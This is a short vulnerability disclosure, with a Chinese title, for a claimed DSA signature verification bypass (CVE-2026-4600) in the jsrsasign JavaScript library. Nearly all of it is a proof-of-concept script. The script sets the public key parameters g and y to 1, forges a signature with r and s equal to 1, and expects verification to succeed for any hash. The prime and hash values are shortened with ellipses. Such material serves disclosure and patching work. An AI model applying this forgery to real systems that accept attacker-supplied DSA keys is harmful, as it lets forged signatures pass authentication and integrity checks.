CVE-2026-4600: jsrsasign DSA签名验证绕过漏洞

// PoC for CVE-2026-4600: DSA Signature Verification Bypass // This demonstrates bypassing verification using malicious parameters. const KJUR = require('jsrsasign'); // 1. Setup standard primes (p, q) but malicious generator (g) and public key (y) // When g=1 and y=1, the verification equation simplifies drastically. const p = "800000000000000089e1855218a3e7c7e52..."; // Example 1024-bit prime const q = "f4f47f05794b256174bba6e9b396a7707e563c5b"; const g = "1"; // Malicious parameter const y = "1"; // Malicious parameter // 2. Create a DSA object with the malicious public key const dsa = new KJUR.crypto.DSA(); dsa.setPublic(p, q, g, y); // 3. Forge a signature with r=1 // With g=1, y=1, r=1, the verification (g^u * y^v mod p) mod q becomes 1. const forgedSigR = "1"; const forgedSigS = "1"; // s can often be arbitrary in this bypass scenario const dummyHash = "aabbccdd..."; // Any hash value // 4. Verify the forged signature const result = dsa.verifyWithMessageHash(dummyHash, forgedSigR, forgedSigS); console.log("Verification Result:", result); // Expected: true (Vulnerable)